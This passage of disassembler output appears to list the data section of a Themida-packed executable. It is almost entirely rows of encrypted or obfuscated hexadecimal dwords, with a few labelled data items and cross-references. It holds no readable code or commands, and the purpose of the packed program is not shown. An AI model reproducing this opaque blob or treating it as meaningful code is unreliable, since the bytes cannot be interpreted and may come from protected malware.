141B8431h, 4988B071h, 928B6429h, 0C188AB14h dd 24E35Ch, 0D9070000h, 0F51D58F6h, 0D0E192B5h, 99064FEEh dd 43D57E80h, 0EC0AB058h, 57D75E5Ah, 9A0B24AFh, 3F68B5F8h dd 58FFB2F9h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 268240Ch, 89000027h dd 1A682434h, 89000058h, 0BF57240Ch, 513C7B8Ch, 71F8C9BEh dd 6C681B5h, 1142748h, 6EE81FEh, 5F142748h, 240C8B54h dd 5204C483h, 5189F289h, 24148B08h, 4C481h, 34FF0000h dd 0C4815924h, 4, 5624348Bh, 0C681E689h, 4, 4C681h, 34870000h dd 0EFE95C24h, 67FFFA04h, 20841BE4h, 0CD578A92h, 785AB8CEh dd 0C50306AEh, 8AEEE0FFh, 6E2D6FE2h, 81212D04h, 2DD16616h dd 8D8D1692h, 6AE79DFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 18C35545h, 20C2EB6Bh, 0DB1B960h, 21D19D89h dd 8D8906A8h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 6AC35545h, 146985C7h, 6E8C06A8h, 8D090000h dd 6A81FB5h, 0BBD85C7h, 6A8h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 7314F0C3h dd 85B5298Ah, 0E906A81Dh, 0Ch, 7399AED2h, 0C808EBF9h, 0BEF60D09h dd 5FDB5FFh, 858B06A8h, 6A820E1h, 20DD95FFh, 6A06A8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 9E592AC3h, 0AE58CAACh, 81DAE867h, 7E3D42C6h, 16BB6616h dd 0FF006A1Ch, 0A81B3195h, 0EBC08B06h, 4F77917Ah, 6FB759D5h dd 0B2BB8066h, 28758B56h, 0C9D18EEEh, 38530E1Eh, 0DCC8C5B2h dd 0FEAFB719h, 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh dd 90B5A850h, 7463E8D6h, 0FCE283C2h, 2AE3680Fh, 6CB196F3h dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh, 366B1573h dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 53C4A889h, 5DB17D3Ah dd 0E8B132AFh, 6F7BB354h, 0ABA2DA67h, 41393256h, 59A33A13h dd 2F2FAD77h, 8B3CA96Bh, 0FE13CB1Eh, 5D305419h, 36E9B3DBh dd 22BE3256h, 0D5B13241h, 0EAB120BFh, 40A3F056h, 0C8412996h dd 0FDD0E1B0h, 39EDA24Dh, 2FE242F2h, 0AAB3747Bh, 20B13256h dd 0EA443256h, 7AE75256h, 0BAB132DDh, 0DD16C56h, 0CFD0520Dh dd 0BEB13237h, 0ABB1325Ah, 455703D5h, 0DCA84F27h, 9E93F4A2h dd 0A8583256h, 0E9B13256h, 8E31778Ah, 7033F3E8h, 51DEA931h dd 0EDF33B61h, 3B1323Dh, 75B13259h, 0EFF1639Fh, 0A46D1AF5h dd 0D27E98D8h, 3B10CCEDh, 0ABB1687Ch, 60E3D36h, 0FA318830h dd 2E479A37h, 0BAB12256h, 5DBADB56h, 0DDAC3256h, 98ACC86Bh dd 0C46A8D7Fh, 0DE333DECh, 8AB13256h, 75B1B359h, 76313256h dd 5DB153A2h, 0AEBDBE59h, 50583256h, 2BB13256h, 26F74621h dd 0EAB174A4h, 75BEDB36h, 28673256h, 57BB6686h, 0A60F136h dd 0DBEACACh, 29BE5302h, 0D5B1325Bh, 0EA343D36h, 13B13256h dd 0E609C3D7h, 0A5B13237h, 0BC583256h, 8CB13256h, 5BF43E03h dd 216D87AAh, 0A3A5E4B2h, 6477371Ch, 53B13228h, 5DB13244h dd 0B312CA71h, 0C26686E8h, 598327DEh, 0AA0A1939h, 8CD1A6D2h dd 1329FFEEh, 7392DAD7h, 0B4B13237h, 0AEB1325Bh, 64FD30C4h dd 0FF3FC9B3h, 3EFBA0Eh, 1FB132C8h, 89D13256h, 8A25DCD7h dd 5DD024F3h, 0AEB1CE56h, 57B0B059h, 0AB493256h, 56BE5256h dd 0EAB13254h, 0FEBE14E0h, 0BAB13242h, 5DB13DBFh, 1EDF0256h dd 7CAC8C92h, 0ECC70007h, 66FB15B9h, 0EAB1CA37h, 75A6B159h dd 0A8583256h, 3EB13256h, 327C5EDh, 0AECD675Dh, 0B89F7FB8h dd 87647CF5h, 3B132D0h, 75B13244h, 0D4BA822Dh, 6F4F680Fh dd 15F50F7Bh, 353D78B0h, 0ABB14FC6h, 0D5B0BE59h, 0EA4D3256h dd 75B1CB56h, 0BAB0B559h, 5D483256h, 0AEA0DB56h, 14ED3256h dd 489A05EAh, 0FCF8E7E9h, 8DBA35F7h, 754C93A9h, 0B53B3D56h dd 0B4B13256h, 0AEB1325Ch, 76BC90DDh, 5D546667h, 0D5B1F070h dd 0EAB134BFh, 9142D256h, 0BAACA4F1h, 5DA2DB56h, 0F0B63256h dd 0C83FA6CDh, 5976E773h, 0BFC246C4h, 0C277F84Ch, 80B132DFh dd 0BAB13254h, 5AB13256h, 5982C46Eh, 0FC52C528h, 0C12C06EBh dd 3DD13256h, 0EAB1325Dh, 0BCB013EBh, 0B4DE9D38h, 3BADA304h dd 2C8BFBD7h, 5066530Ch, 0ABB5325Ch, 0D5BD3244h, 0EA9F324Fh dd 0DAC32DAh, 349758F1h, 0CF1BA1CFh, 0BA583256h, 25B13256h dd 1DD256Dh, 0C39B6E43h, 0EE0A0082h, 0C44D3EC0h, 0BAC3CCCCh dd 0EE035256h, 0E557B330h, 0D9BE5342h, 0ABB13257h, 3CB132A3h dd 0EAB13242h, 9369C6Eh, 3CDA765h, 0DBA25183h, 0D05B44A9h dd 179844DAh, 0AB4D3256h, 0C33A3D56h, 8AB13256h, 75B13BBFh dd 92F5BE56h, 757391B1h, 20BE30B3h, 57B13256h, 0AA323D37h dd 20B13256h, 0EA483256h, 67B37856h, 0B5B13256h, 5DB13ED2h dd 0AEB6DB56h, 0E3543256h, 6826E3C2h, 0DAB13228h, 0EAB138DCh dd 0B6305256h, 0BB2DF5DDh, 5DD0F5DDh, 0AEB37856h, 9C843256h dd 91916E3Dh, 0F78D930Ah, 7139D92Fh, 0AC23DB38h, 0BAB18A36h dd 5DB13FBFh, 6EA5ED56h, 0AD26F056h, 3A6485D9h, 85E03F0Bh dd 0EAA5DB04h, 300D3256h, 7B19F9CCh, 0A0E59530h, 577171A4h dd 0E25DAD68h, 9ABE891Ch, 0D5B13EBFh, 48DCB656h, 9BD8C265h dd 40942ED9h, 0D4E968FDh, 0F8C01652h, 0B51CF681h, 85180225h dd 54D46E99h, 12967A9Fh, 75B7DB33h, 7DB73256h, 3E232FA2h dd 9A3853CBh, 0C7E96872h, 0E35A0833h, 217634B7h, 8AD2A04Bh dd 0F90EEC4Fh, 276AD883h, 4F58AE00h, 0ECB13256h, 0D938A205h dd 31F48EF9h, 0B3709A9Dh, 184C66F1h, 4B44B215h, 0BAB126BFh dd 1704DE56h, 0B880EAEDh, 0F5DCB6C1h, 45D8C265h, 2F942ED9h dd 8BEFAFFDh, 140A78C6h, 0BAB132C5h, 0B4C18174h, 0B2D3D38h dd 7639192Ch, 0F6853510h, 3D319184h, 0EAA5DB48h, 607D3256h dd 2B09297Ch, 90D5C5A0h, 6761A1D4h, 0D24DDD98h, 0CD2C398Ch dd 8DD0E4DDh, 54C87295h, 0BF845E49h, 0BA226A6Dh, 4E585256h dd 5FB13256h, 5C51AB2Bh, 0D944A8E8h, 0D90306Fh, 9A3D12A8h dd 1449F13Dh, 0BF583256h, 61B13256h, 0E5B4B3F5h, 0DCBE3256h dd 0ABB13242h, 0D5B13DBFh, 98906E56h, 1BE9B81Bh, 42E30D9Eh dd 0AAF73272h, 0BC77B236h, 57B4B359h, 84083256h, 0B4F324CAh dd 16443256h, 0F8BE3256h, 0BAB13251h, 4F7B8D36h, 0A1D07D9Fh dd 57B133D6h, 0ABB1CB56h, 0D5B0BC59h, 0EA493256h, 75A2DB56h dd 16903256h, 0A1D3B221h, 35D3ABD9h, 0E802A2CEh, 9959BDB3h dd 54D75231h, 3FD40B6h, 75B13259h, 3D63349Ch, 19B4B206h dd 0DEB45615h, 36D3CC5Ch, 0AB4D3256h, 0D4353D56h, 12B13256h dd 894D3256h, 0EAD13256h, 52E86A06h, 0AED0C3E9h, 36445256h dd 0ABB134BFh, 0B330A056h, 0EA7B1764h, 0FEE75256h, 52306D87h dd 3B163A97h, 47B13237h, 57B13246h, 4955220Ah, 0E63C051h dd 48CBCB66h, 4A50C470h, 0B3583256h, 0BBB13256h, 2381BD6Bh dd 0E094433Eh, 23BE3256h, 0D5B1325Fh, 0EA323D36h, 8DB13256h dd 0B5B13237h, 5DB135D3h, 0AF3A3D56h, 0ABB13256h, 0A7583256h dd 7EB13256h, 0D935CE87h, 3D62EDCBh, 0BA54848Dh, 51303D56h dd 0A1B13256h, 57B134D7h, 0AB333D56h, 0D5B13256h, 0EAA3DB56h dd 17BC3256h, 39176911h, 0ABE930B0h, 7A997945h, 0ACEEA14Ah dd 1ED13256h, 0C3A54EDh, 3B13237h, 75B1325Dh, 1D91EDE2h dd 38362FD4h, 0AE1BCF40h, 57A5DB56h, 0BFAF3256h, 8B5830E7h dd 0FFE4C813h, 0E60055ABh, 0CC4E3D4h, 5DB13059h, 0AEB13FBFh dd 0F8EF4156h, 9C2AFD49h, 0ECFC0916h, 0EAB1FABDh, 75B134BFh dd 310B3156h, 52D348EFh, 0AEB135DEh, 56323D56h, 52B13256h dd 0DAD13256h, 8AD0E2E1h, 75B1BB59h, 0BAD03256h, 5DB1CE56h dd 0AEBCB659h, 5F583256h, 20B13256h, 97859EC6h, 0EA8418A3h dd 75B1CA56h, 46B132AEh, 0DBBE3256h, 0AEB13251h, 57B0BC59h dd 0AB4D3256h, 0C33C3D56h, 3B13256h, 75B13247h, 57A870E6h dd 0C65DBE8Ah, 737644E4h, 92651D32h, 0ABBADB6Ch, 26CA3256h dd 22BE1C7h, 0ACEA72C1h, 43B132A9h, 5DB126BFh, 3894A456h dd 7D70A4D5h, 611DAC0Fh, 3DD69C0Eh, 0F0F5248Ch, 80B132B2h dd 0BA483256h, 5DBBDB56h, 0FB4B3256h, 0E6D6CF43h, 0DE60B0C5h dd 5DBE3256h, 0EAB13258h, 75393D36h, 3BB13256h, 0F2580C9Fh dd 0AE49531Dh, 5B363D56h, 0A4B13256h, 0D5B134D8h, 0EA323D56h dd 75B13256h, 0BABFDB56h, 6A103256h, 94F28020h, 799072CBh dd 9A8F6329h, 0D5483256h, 0EB333D56h, 8DB13256h, 0B4583256h dd 95B13256h, 42E171C6h, 0F4625A89h, 2B9ED8h, 0DAB1325Ch dd 0EAB125D2h, 65585256h, 5DB13256h, 278755CAh, 11CB263Fh dd 0D9D3D874h, 0CA057ECBh, 0DE583256h, 5FB13256h, 8931A3B8h dd 8600F4F3h, 52587504h, 0C9B13256h, 5C071B32h, 9C044B12h dd 0A61CFCFCh, 0EAB1A09Bh, 0E6008836h, 5D7466Bh, 5DD0E8CAh dd 0AEBEDB56h, 0FA0C3256h, 3A685776h, 0E7B9578Fh, 367FD911h dd 7AB132F1h, 0BAB13ADFh, 0AA305256h, 0AAE083C8h, 37B13237h dd 0CA49E2DDh, 0D5483256h, 6BD75256h, 9D04E8B0h, 0BAB13251h dd 0C90B1079h, 0F52AF499h, 37B13237h, 0ABB13CBEh, 4F829956h dd 8E06AA1Eh, 0DC559FEFh, 411A11h, 3BB5B4E8h, 25D7630Dh dd 57D069A4h, 0ABA1DB56h, 41CE3256h, 4B0183A4h, 4D577B1Eh dd 2CB35E19h, 5DB1C4D4h, 0CEB132AFh, 57B2B759h, 20D73256h dd 58BE528Ch, 0EAB13256h, 14D06A07h, 0DCD13256h, 0B8E2D9D7h dd 0AEB123BEh, 852B6F56h, 3BCCECA5h, 8DE65DF8h, 0CC2AF2E3h dd 795826CBh, 75B13256h, 2ADA0675h, 89EA842Fh, 856E5F0h dd 0ABBCDB37h, 0BF8F3256h, 0FE862D71h, 79691DEEh, 0BA953EA8h dd 5DBEDB56h, 0F7733256h, 0DDD37C10h, 0AC5EAD1h, 1999C132h dd 8AB132B5h, 0E5F54FEEh, 0B8303D0Eh, 0EB13256h, 0AEB1530Eh dd 0E9D752AFh, 0A458A9CAh, 83B13256h, 0ED33D355h, 0DB6B2204h dd 1F2DB87h, 5DD0DE41h, 0B33D3D56h, 58B13256h, 0ABB125D8h dd 0D5A3DB56h, 6BFB3256h, 0D8F9D7B8h, 0C723DABh, 0D382ED6Bh dd 926FE2EAh, 0EF668136h, 9E0EECA9h, 29B13237h, 0EAB0BE59h dd 75483256h, 0BAB1CB56h, 5DA0B159h, 0CED13256h, 57B6DA37h dd 72833256h, 17BF6D96h, 0EAD06C73h, 6F3A3D56h, 0B5B13256h dd 5DB126DBh, 0AEBEDB56h, 0C3D83256h, 23845862h, 5B6B42E3h dd 716D7053h, 8CB13214h, 0BA483256h, 5DB1CE56h, 0AEA9B159h dd 44583256h, 16B13256h, 0EE93C44Fh, 98852EB1h, 55D9B434h dd 0C2A08A80h, 5DB1507Dh, 0DF42B236h, 36628559h, 0A4D13256h dd 0D5B132D0h, 0EF3B3D56h, 13B13256h, 0C418C4D7h, 5DB1CB37h dd 0AEB1CAAFh, 57B138BFh, 29ECF656h, 18CBE0FDh, 0EA1CC665h dd 75BEDB56h, 97533256h, 0F12853Bh, 700F55C2h, 20233514h dd 0A6333D40h, 0B5B13256h, 1A912FEFh, 326AB341h, 0DBBA4FFFh dd 52D13256h, 0AEB134D2h, 573E3D56h, 0CDB13256h, 0B48E28EFh dd 310E3D36h, 0A846B330h, 0BAB15349h, 0A4B132AAh, 0CEB132A3h dd 0AE6727E8h, 0BC313D45h dd 3CB13256h, 0EAB13244h, 240ECD53h, 5C504DA8h, 159096h dd 8198ADF4h, 57D07A55h, 0AA3C3D56h, 20B13256h, 0E1583256h dd 0BB13256h, 8B849F26h, 7AB63F56h, 0AE4865C4h, 5F3C3D56h dd 0A4B13256h, 0D5B130DEh, 0EAD05256h, 75B1CE56h, 0BAB0B559h db 56h, 32h word_5B1E8E dw 5D4Dh ; DATA XREF: Themida_:0057BEDFr dd 0A8585256h, 0EB13256h, 6E8E838Dh, 0A256B3A5h, 8BDB6652h dd 61583256h, 62B13256h, 0EABA054Ah, 0E4CBE3D7h, 3D0355BEh dd 4B5E38D5h, 0D5DFA857h, 0CF3C3D56h, 15B13256h, 0BAB122BFh dd 0C4F43556h, 4CFFF48Eh, 49BBA28Fh, 0F157B95Fh, 0D5B8DB23h dd 54A3256h, 4FC3EEDDh, 0DB5918C0h, 0D3BE3256h, 0AEB1325Ch dd 0EE6AB236h, 0CD62B330h, 0D5B153A7h, 0E5B132AFh, 75B122DBh dd 0BABADB56h, 0BE3E3256h, 4B621895h, 0CDECBE0Dh, 0BC393D84h dd 0DAB13256h, 0EAB123DBh, 75BDDB56h, 96C13256h, 354F6213h dd 71230D5Eh, 57B134E8h, 0A4B132AFh, 0D5B135DFh, 0EB353D56h dd 8CB13256h, 0BA443256h, 0E4D75256h, 29BE830Ah, 57B13255h dd 0CA628559h, 5FBE3256h, 0EAB13240h, 75A1B259h, 0B1583256h dd 6BB13256h, 75B012Dh, 92504E4Bh, 0ABB1C7F3h, 0D5B137BFh dd 31BB5556h, 75B1309Eh, 0B4323DA3h, 0B4B13256h, 0AEB1325Fh dd 0B3453C8h, 3738052Ch, 0DAB13237h, 0EAB137D6h, 0FED75256h dd 0BAB15390h, 5DB135BFh, 0F2A6356h, 0AEEDC017h, 28BE3256h dd 0D5B13257h, 0EAA3DBAEh, 8B223256h, 4E1ABE1Fh, 2AF67CF3h dd 74ED57E3h, 7B577704h, 2EBE3256h, 0D5B13257h, 0E5B132AFh dd 75B133DCh, 0BAB1CB56h, 5DBBDB36h, 0D03F3256h, 1847AE1Eh dd 3E13718Ch, 0D5B3BF59h, 0B1E73256h, 9CB13237h, 0BAB13250h dd 0E6705B57h, 0AEB1D89Bh, 57B13BBFh, 8E71ED56h, 6EA254C6h dd 0EAB1FA91h, 75B139BFh, 629D0756h, 0C9F7BD75h, 32FE5A9Dh dd 0DFBE3256h, 0ABB1325Ch, 0D5B137BFh, 2B585D56h, 75B1AE6Dh dd 0BAB138BFh, 21390456h, 8CE30B74h, 0A29568E9h, 0AC583256h dd 0E4B13256h, 2B26DD21h, 75B1878Fh, 0BAB6DB36h, 0CEC53256h dd 3EBE0641h, 57B153F6h, 0ABB123BFh, 0B0BB8356h, 0A4686A2Dh dd 0BCAC1625h, 0A1BCFEE4h, 5DB1A359h, 0AEB138BFh, 7AB0AF56h dd 61196D9Ch, 0D5B0491Ah, 0FB585256h, 37B13256h, 76740CABh dd 51A24358h, 0A722947Dh, 0F4B15580h, 16B58C30h, 2CB13237h dd 0EA483256h, 75B1C756h, 53B132AAh, 5DB1325Dh, 548C414Bh dd 0E898FD4Bh, 0AB0B5D8Dh, 0D5A0DB56h, 0DBB53256h, 9BDB4DF7h dd 2603CBEEh, 59BAC416h, 0A12C3FB0h, 57B129DAh, 0BE3A3D56h dd 3CB13256h, 0EAB13246h, 1A69ACh, 19BEEF1Eh, 3EC530FCh dd 0DFF17FF6h, 50583256h, 64B13256h, 21C22C22h, 0EAB12A3Bh dd 75B8BC59h, 4FD13256h, 5367D2D7h, 0AED02C49h, 57B1CE56h dd 52063D36h, 0D5B153AAh, 18306236h, 404EB66Ah, 0BB373D08h dd 0A1B13256h, 0A1B13237h, 57B13CDFh, 0ABB8DB56h, 930D3256h dd 2FCC37DDh, 751EF25Fh, 0B23B3D56h, 52B13256h, 0AEB130DEh dd 57D05256h, 0ABB1CB56h, 0D5A5DB36h, 29D93256h, 43B3FE4Fh dd 4DD81D39h, 83DD99B2h, 49DB4CF6h, 364D3383h, 0AB4D3256h dd 0D5B1C756h, 0E53C3DAAh, 9CB13256h, 0BAB1325Ch, 753DB08h dd 3CF4BFh, 57B12CD4h, 0ABB134BFh, 0D8A5B856h, 0EAB89305h dd 75A0DB56h, 0C1023256h, 7EDD6CC8h, 0F4FBEE55h, 0E2174717h dd 0AB4EE518h, 0D5B1CA56h, 3B132A3h, 75B1325Ah, 97EF7383h dd 0E984DC87h, 0E23C7E72h, 0DCD13256h, 0ABB1538Eh, 0D5BEDB36h dd 2EB33256h, 13951456h, 542624A9h, 20EEF775h, 59063DF1h dd 0BEB13237h, 0ABB1325Ch, 66A77138h, 3AF87833h, 75B148B3h dd 0BF303D36h, 3BB13256h, 9944E8D7h, 7859B330h, 0ABB15314h dd 0D5BDB459h, 69BE3256h, 75B13250h, 0BAB1BB59h, 5DB13256h dd 0AEB135BFh, 0AA4FED56h, 0D6A139D4h, 3CD13256h, 0EAB1325Ch dd 0ADB14403h, 205402C1h, 923A749Ch, 0CEB13237h, 57BBB959h dd 0AE583256h, 0DCB13256h, 7CE91003h, 75B13FBFh, 47FA5456h dd 6947E1DBh, 0F52D290Ah, 37D0F9F3h, 0ABB3B759h, 0B4D13256h dd 0EAB3B159h, 2FE33256h, 4FB13237h, 5DB8B659h, 0C8D13256h dd 314BB3EFh, 0ABD0C9DDh, 0D5BFDB56h, 0E78E3256h, 0BBED00Ah dd 7B923889h, 571CEFBh, 0BF583256h, 77B13256h, 8C0A012Ch dd 3E02CE10h, 17812D1Ch, 17DEE182h, 3EBE3256h, 5DB13245h dd 0AEB13CBFh, 5E9E3D56h, 1DF97A3Ch, 7A354AB2h, 0EAC6A5F3h dd 75A3DB56h, 1BD63256h, 8D903803h, 0B7C5C21Bh, 0C85AF4C9h dd 70BA59AEh, 0B3D13256h, 63E1E4D7h, 743E3D37h, 4FB13256h dd 57583256h, 0A9B13256h, 7D7F6379h, 810B72E6h, 29B13232h dd 8A4D3256h, 75B122BFh, 3DDCCF56h, 9D0347E3h, 341AB828h dd 96F80F06h, 0ABD0C7CDh, 5BBE5256h, 0EAB13254h, 9DD16801h dd 0BAB13251h, 0E9687C89h, 0F6ECC57Eh, 0FA158C30h, 0ABB15337h dd 0DAB132AFh, 0EAB13AD5h, 773B3D56h, 0DAB13256h, 95005237h dd 0C962FCD7h, 57D03FF6h, 0ABA5DB56h, 0F58D3256h, 94DB1D0Ch dd 2926965Ah, 0BAD5D2FAh, 9E1C2CD0h, 0AEB1C95Ah, 52353D36h dd 15B13256h, 0E94BD2EDh, 0C3F18C30h, 89B13237h, 0B6583256h dd 54B13256h, 8278ADD4h, 6F5E205Ah, 5E0189D8h, 54D13256h dd 9BE8119Ch, 75BFDA30h, 0A5423256h, 0A132F675h, 53CB5008h dd 17A56D70h, 0CAEE4BE6h, 0D8583256h, 1AB13256h, 5A05048Fh dd 2768AB72h, 0D0F6C66Bh, 47D13256h, 57B13244h, 0E93495BFh dd 9491DB0Ah, 2728F295h, 37184B86h, 2E2E3CEh, 6A8A3A3Bh dd 0AEB15309h, 0C60A5436h db 9, 0DBh db 0B6h dword_5B243B dd 5C3256ABh ; DATA XREF: Themida_:loc_57BECDr db 92h dd 2534E07Ah, 75B15377h, 0BAB122BFh, 0FCD44A56h, 77FDA2BDh dd 23E3719Ch, 7D3471E5h, 29B132DDh, 3D13256h, 75B13245h dd 8E16D012h, 367579C9h, 2E81FEB1h, 20AF6273h, 136F9E64h dd 8BA96140h, 0EB3C3D37h, 8DB13256h, 38BE3256h, 5DB13250h dd 19BECE36h, 57B1539Ch, 0ABB135BFh, 44232356h, 5C2A428Ah dd 9CD13256h, 0BAB13247h, 64B0C3DCh, 0DCB4CC61h, 0B2CF47FFh dd 6C294A4Eh, 0D6323DC9h, 0E5B13256h, 8DD0E4E1h, 3CBE3256h dd 5DB13257h, 25E252AFh, 983A6895h, 0CBB13237h, 544E8559h dd 0D54576BCh, 0F4D1531Ah, 555248BFh, 5DB15361h, 0AEB13ABFh dd 60301756h, 23286780h, 0D5A0DB9Fh, 5DCB3256h, 23673400h dd 183FD341h, 0EF498224h, 0AEC4DDD3h, 57B1C756h, 0ABB122BFh dd 7A334B56h, 26E9AA85h, 727B5765h, 75FD4CFCh, 0A8B13258h dd 0AEB9B059h, 58D13256h, 0ABB132DAh, 0D5B15356h, 0EAB9BB59h dd 0F4BE3256h, 0BAB13254h, 5DB15336h, 0CF46B936h, 57493256h dd 0A158CA56h, 0C9B13256h, 94EAB74h, 3810065h, 0B5B132A3h dd 5DB13EDCh, 0A83B3D56h, 58B13256h, 0ABB132DDh, 0D5B1CA56h dd 0EAB9BC59h, 8DD13256h, 0AC2D9BEEh, 5DB15311h, 0AEBDB759h dd 0DCBE3256h, 0ABB13250h, 0D5B1B459h, 0EAB13256h, 75B9DB36h dd 0EFF23256h, 49297D72h, 0C8E028CDh, 0AF79E9D7h, 0ABB1530Fh dd 0D43B3DA3h, 1FB13256h, 7A583256h, 0CBB13256h, 3EA2DC91h dd 38677467h, 1BD2B228h, 0ABB1B6D4h, 0D5B13DBFh, 5EC1DD56h dd 0A19D4367h, 9D41A456h, 743ADF3h, 0A1D13256h, 57B131DEh dd 0A57FB256h, 3CB13237h, 0EAB13250h, 56F310B1h, 0BAB189AFh dd 5DBCBA59h, 0A1D13256h, 57B132DFh, 48305456h, 0D5D04242h dd 65BE5256h, 75B13253h, 5E5B4EDh, 5DB15300h, 0AEB1C7AFh dd 58B132AEh, 0ABB127DBh, 0D5A1DB56h, 46213256h, 5F447062h dd 7FAC7A63h, 28FC0DBFh, 0AEB1ED6Ch, 0BEB132A3h, 0ABB13251h dd 0ABAD635Bh, 3070B98h, 75B1325Ah, 0B1BC0E0Ch, 0EE954BA3h dd 9EF4925h, 51583256h, 4AB13256h, 526A2596h, 0E5B13295h dd 75B124D4h, 0BAA0DB56h, 0D43E3256h, 69273392h, 91EF8AEBh dd 0A8C0AC32h, 0D5B9EBBCh, 3D1CA56h, 75B1325Ch, 3432FC7Eh dd 674DCD1Ah, 0A35969A6h, 0AAB13256h, 938F949Ah, 2A6AE21h dd 231FB0C8h, 75B13BBFh, 971B0656h, 484807B3h, 0CFEB9DBFh dd 0D8BE3256h, 0ABB13257h, 3CB132AAh, 0EAB13247h, 0EB2A2A18h dd 0C484EA28h, 432DC2F3h, 96A3E5BDh, 0BEB1328Dh, 0ABB13250h dd 3A83D23Ch, 0EAB1FE8Eh, 9CB132AAh, 0BAB13245h, 1F6758E1h dd 2AF9C419h, 6E07E529h, 64568658h, 0DAA297A5h, 0EAB13BD0h dd 0F4D75256h, 301120B9h, 5DB153ABh, 0A9353DAAh, 58B13256h dd 0ABB133DCh, 0D5B1CB56h, 0EAB120BFh, 3646EC56h, 0AAD216FFh dd 52AC88B3h, 0F4471B5h, 57FDE3CDh, 20D75256h, 0D5B15391h dd 0EABBDB36h, 0F20E3256h, 47D770A1h, 7048EFACh, 0CF7FB930h dd 43583256h, 5FB13256h, 0DC4899Fh, 728AFFA4h, 0A99E2E66h dd 88A66360h, 5D616A5Ah, 0AEB7DB56h, 52D93256h, 89A523EAh dd 0B3D13256h, 124D35EEh, 75B1CB37h, 0BAB13CBFh, 4B1DB856h dd 0EE5E58E0h, 0F60FB215h, 577A1E58h, 54D13256h, 9A2FDD90h dd 92E88963h, 0BAD0545Eh, 5DB9DB56h, 71743256h, 0B0E1B61Dh dd 0ABB18B4Dh, 0B449C736h, 0E3583256h, 78B13256h, 691F1E95h dd 0B2F8413Fh, 0AEBBB659h, 52583256h, 0AAB13256h, 3612640Ch dd 66BE3256h, 75B13251h, 0BAB0B859h, 5D443256h, 0AF363D56h dd 0A2B13256h, 2DBE3256h, 0D5B13257h, 0E5B132AAh, 75B133D1h dd 0BAB1CA56h, 4A383D36h, 47B13256h, 57B13244h, 4C3D7776h dd 0FCE75201h, 0A1221A36h, 98ED14FEh, 0AE58E597h, 0EEB13256h dd 4FD70C7Ah, 0D6C786D9h, 0CC5FC134h, 0A3D2D0FEh, 8BE9D120h dd 1473B936h, 0BA4D3256h, 0EABE5256h, 63638C98h, 57D0604Ch dd 0ABB1CB56h, 0D5B138BFh, 4B8AE656h, 0BA29C2B7h, 0BA40EA2Ch dd 51373D56h, 0A1B13256h, 57B134D3h, 0AB323D56h, 0D5B13256h dd 0EAB1C756h, 75B0BC59h, 0BA4D3256h, 5DA5DB56h, 6C3B3256h dd 35D66A1Fh, 3E76CCBFh, 0B93193AEh, 1E14880Bh, 75B11499h dd 0BAA6BB59h, 4F583256h, 53B13256h, 6A07F159h, 173F0189h dd 48DEC86h, 1F68B3B9h, 80B132A9h, 3DBE3256h, 5DB13257h dd 0CEB132AEh, 57B3B459h, 0CAD13256h, 0B5B13237h, 0EAD0F8DCh dd 75B1CE56h, 0BAB135BFh, 183CD556h, 0F9C5C01h, 0DEBE3256h dd 0ABB13251h, 0D5B0BC59h, 3443256h, 75B1325Ah, 24BF3163h dd 9962A92Dh, 0EDA721E5h, 51583256h, 29B13256h, 0D3232D1h dd 51D75256h, 0A7302244h, 0D4AC7D29h, 0B4B13237h, 0AEB13253h dd 2F059B65h, 0A4B13222h, 0D5B13CDAh, 0EAB8DB56h, 0CF5E3256h dd 98062489h, 5DB3CDA4h, 25D75256h, 57B153A5h, 0ABB1CAAAh dd 0DAB132A3h, 0EAB12FD6h, 9D495256h, 0BAB13242h, 0F3AAD4FCh dd 0C96801D6h, 0F19720FBh, 37BD84F6h, 0CDC4C9CCh, 0EAB1530Fh dd 15B132AFh, 0BAB121BEh, 0DEA99456h, 760098A6h, 0B4194CB8h dd 87B0BBCh, 0D3370A61h, 0EAB1B359h, 0C5EB3256h, 0BAB153F6h dd 5DB0B359h, 0AE443256h, 45323D56h, 0A4B13256h, 0D5B13ED3h dd 0EAB6DB56h, 5A123256h, 29C4AE8Bh, 5DB1CB50h, 0AEA1B059h dd 0DEBE3256h, 0ABB1325Ch, 0D5B137BFh, 3060D356h, 75B1CA63h dd 0BAB122BFh, 4FCEEB56h, 9EF5E686h, 72E8F17Eh, 0C5E1A7B9h dd 0B5B132C6h, 0B942B930h, 80DA8D30h, 0BAB15309h, 52B132A3h dd 0AEB131D8h, 36485256h, 0ABB6B459h, 59BE3256h, 0EAB13257h dd 8CB132AAh, 32BE3256h, 5DB1325Dh, 0AEB134BFh, 0C196F956h dd 0AB83B6CBh, 0D43B3D56h, 16B13256h, 13D13256h, 0EAD800EEh dd 3CEB6907h, 69AC8D36h, 57D06230h, 0ABB1CA56h, 0DAB132A3h dd 0EAB13EDDh, 73333D56h, 0B5B13256h, 5DB132D4h, 0A9323D56h dd 58B13256h, 0ABB133DDh, 0D5B1CE56h, 0EAA4B359h, 0F0BE3256h dd 0BAB13259h, 5DB138BFh, 838FA756h, 0DF945A67h, 0ABACAE53h dd 5ED75256h, 55D76581h, 14EED5A9h, 0DCD13256h, 77BBEAD7h dd 0AEB13ABFh, 0A7F52656h, 0DA8368B3h, 0D5B153B9h, 0EAB120BFh dd 0D74D7556h, 6DAF821Eh, 9032D199h, 29B31DF4h, 5700E0D6h dd 0ABBFDB56h, 9C393256h, 0B22B5170h, 66868688h, 20FD89ECh dd 0DABE3256h, 0AEB1325Fh, 9D30CA36h, 0F0EBCF23h, 29B13237h dd 0E5D13256h, 7AE6CCE1h, 0BAB132D2h, 5DD06D56h, 0AEA0DB56h dd 0BBD53256h, 0CEFC1DC5h, 0BCF20532h, 0A11721D5h, 75DF26EBh dd 0BAB1CB56h, 3DB132AAh, 0AEB1B659h, 57D03256h, 0A3333D56h dd 0B5B13256h, 0CE978930h, 75D06A05h, 0BAB1CE56h, 